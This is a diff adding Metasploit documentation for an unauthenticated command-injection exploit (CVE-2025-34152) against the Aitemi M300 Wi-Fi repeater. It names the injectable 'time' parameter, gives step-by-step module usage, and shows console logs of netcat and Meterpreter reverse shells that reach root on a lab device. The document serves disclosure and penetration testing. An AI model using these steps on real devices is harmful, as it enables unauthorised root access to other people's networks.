|
| 1 | +## Vulnerable Application |
| 2 | + |
| 3 | +This Metasploit module exploits an **unauthenticated OS command injection** vulnerability |
| 4 | +in the **Shenzhen Aitemi M300 Wi-Fi Repeater (hardware model MT02)**. |
| 5 | + |
| 6 | +The vulnerability exists in the `time` parameter of the `time_conf` function, accessible via the `/protocol.csp` endpoint. |
| 7 | +When passed to the backend, the parameter is inserted directly into a `date -s` shell |
| 8 | +command without sanitization, allowing arbitrary command execution as **root**. |
| 9 | +The exploit does **not require authentication**, **does not reboot the device**, |
| 10 | +and **does not affect network configuration**, making it suitable for stealthy, persistent access. |
| 11 | + |
| 12 | +The vulnerability is tracked as **CVE-2025-34152**. |
| 13 | + |
| 14 | +### Setup |
| 15 | + |
| 16 | +Purchase the vulnerable device here: |
| 17 | +[https://www.aliexpress.us/item/3256806767641280.html](https://www.aliexpress.us/item/3256806767641280.html) |
| 18 | + |
| 19 | +Ensure the repeater is accessible via its management interface (typically `http://192.168.11.1` when connected locally via Wi-Fi). |
| 20 | + |
| 21 | +## Verification Steps |
| 22 | + |
| 23 | +1. Connect to the repeater's Wi-Fi and obtain its IP (usually `192.168.11.1`). |
| 24 | +2. Launch **Metasploit Framework**. |
| 25 | +3. Use the module: |
| 26 | +``` |
| 27 | +use exploit/linux/http/aitemi_m300_time_rce |
| 28 | +``` |
| 29 | +4. Set the target IP: |
| 30 | +``` |
| 31 | +set RHOSTS [TARGET_IP] |
| 32 | +``` |
| 33 | +5. Choose the appropriate target: |
| 34 | +``` |
| 35 | +set TARGET 0 # For simple reverse shell (netcat) |
| 36 | +set TARGET 1 # For Meterpreter payload (may crash HTTP server) |
| 37 | +``` |
| 38 | +6. Execute the exploit: |
| 39 | +``` |
| 40 | +run |
| 41 | +``` |
| 42 | + |
| 43 | +## Options |
| 44 | + |
| 45 | +None |
| 46 | + |
| 47 | +## Scenarios |
| 48 | + |
| 49 | +### Scenario 1 – Target 0: Unix Reverse Shell (netcat) |
| 50 | + |
| 51 | +```bash |
| 52 | +msf6 exploit(linux/http/aitemi_m300_time_rce) > show targets |
| 53 | + |
| 54 | +Exploit targets: |
| 55 | +================= |
| 56 | + |
| 57 | + Id Name |
| 58 | + -- ---- |
| 59 | +=> 0 Unix Command Shell (reverse_netcat) |
| 60 | + 1 Linux Meterpreter MIPSBE (MAY crash HTTP worker) |
| 61 | + |
| 62 | + |
| 63 | +msf6 exploit(linux/http/aitemi_m300_time_rce) > set payload cmd/unix/reverse_netcat |
| 64 | +payload => cmd/unix/reverse_netcat |
| 65 | +msf6 exploit(linux/http/aitemi_m300_time_rce) > run http://192.168.11.1 |
| 66 | +[*] Started reverse TCP handler on 192.168.11.208:1337 |
| 67 | +[*] Running automatic check ("set AutoCheck false" to disable) |
| 68 | +[+] Favicon hash matched – likely Aitemi M300 device |
| 69 | +[+] HTTP server version matched: lighttpd/1.4.32 |
| 70 | +[+] HTML fingerprint matched in home.html – UI strings detected |
| 71 | +[+] The target is vulnerable. HTML language markers confirmed |
| 72 | +[*] Command shell session 4 opened (192.168.11.208:1337 -> 192.168.11.1:58090) at 2025-08-07 01:02:06 +0200 |
| 73 | + |
| 74 | +id |
| 75 | +uid=0(root) gid=0(root) |
| 76 | +uname -a |
| 77 | +Linux Srepeater 4.4.194 #0 Fri Jun 30 03:16:53 2023 mips GNU/Linux |
| 78 | +ls -l |
| 79 | +drwxr-xr-x 2 root root 775 Sep 25 23:32 bin |
| 80 | +drwxr-xr-x 3 root root 860 Sep 25 23:32 dev |
| 81 | +drwxrwxr-x 1 root root 0 Sep 25 23:33 etc |
| 82 | +drwxr-xr-x 11 root root 441 Sep 25 23:32 lib |
| 83 | +drwxr-xr-x 2 root root 0 Sep 25 23:32 media |
| 84 | +drwxr-xr-x 2 root root 3 Sep 25 23:32 mnt |
| 85 | +drwxr-xr-x 5 root root 0 Sep 25 23:32 overlay |
| 86 | +dr-xr-xr-x 58 root root 0 Jan 1 1970 proc |
| 87 | +drwxr-xr-x 17 root root 235 Sep 25 23:32 rom |
| 88 | +drwxr-xr-x 2 root root 3 Sep 25 23:32 root |
| 89 | +drwxrwxr-x 2 root root 707 Sep 25 23:32 sbin |
| 90 | +dr-xr-xr-x 11 root root 0 Jan 1 1970 sys |
| 91 | +drwxrwxrwt 16 root root 500 Sep 25 23:33 tmp |
| 92 | +drwxr-xr-x 7 root root 89 Sep 25 23:32 usr |
| 93 | +lrwxrwxrwx 1 root root 4 Sep 25 23:32 var -> /tmp |
| 94 | +drwxr-xr-x 1 root root 0 Sep 25 23:32 webs |
| 95 | +drwxr-xr-x 4 root root 67 Sep 25 23:32 www |
| 96 | +``` |
| 97 | + |
| 98 | +### Scenario 2 – Target 1: Meterpreter MIPSBE Payload |
| 99 | + |
| 100 | +```bash |
| 101 | +msf6 exploit(linux/http/aitemi_m300_time_rce) > set target 1 |
| 102 | +target => 1 |
| 103 | +msf6 exploit(linux/http/aitemi_m300_time_rce) > set payload cmd/linux/http/mipsbe/meterpreter/reverse_tcp |
| 104 | +payload => cmd/linux/http/mipsbe/meterpreter/reverse_tcp |
| 105 | +msf6 exploit(linux/http/aitemi_m300_time_rce) > run http://192.168.11.1 |
| 106 | +[*] Started reverse TCP handler on 192.168.11.208:1337 |
| 107 | +[*] Running automatic check ("set AutoCheck false" to disable) |
| 108 | +[+] Favicon hash matched – likely Aitemi M300 device |
| 109 | +[+] HTTP server version matched: lighttpd/1.4.32 |
| 110 | +[+] HTML fingerprint matched in home.html – UI strings detected |
| 111 | +[+] The target is vulnerable. HTML language markers confirmed |
| 112 | +[*] Sending stage (1358312 bytes) to 192.168.11.1 |
| 113 | +[*] Meterpreter session 10 opened (192.168.11.208:1337 -> 192.168.11.1:41150) at 2025-08-07 01:12:10 +0200 |
| 114 | + |
| 115 | +meterpreter > sysinfo |
| 116 | +Computer : Srepeater.lan |
| 117 | +OS : (Linux 4.4.194) |
| 118 | +Architecture : mips |
| 119 | +BuildTuple : mips-linux-muslsf |
| 120 | +Meterpreter : mipsbe/linux |
| 121 | +meterpreter > getuid |
| 122 | +Server username: root |
| 123 | +meterpreter > |
| 124 | +``` |
| 125 | + |
0 commit comments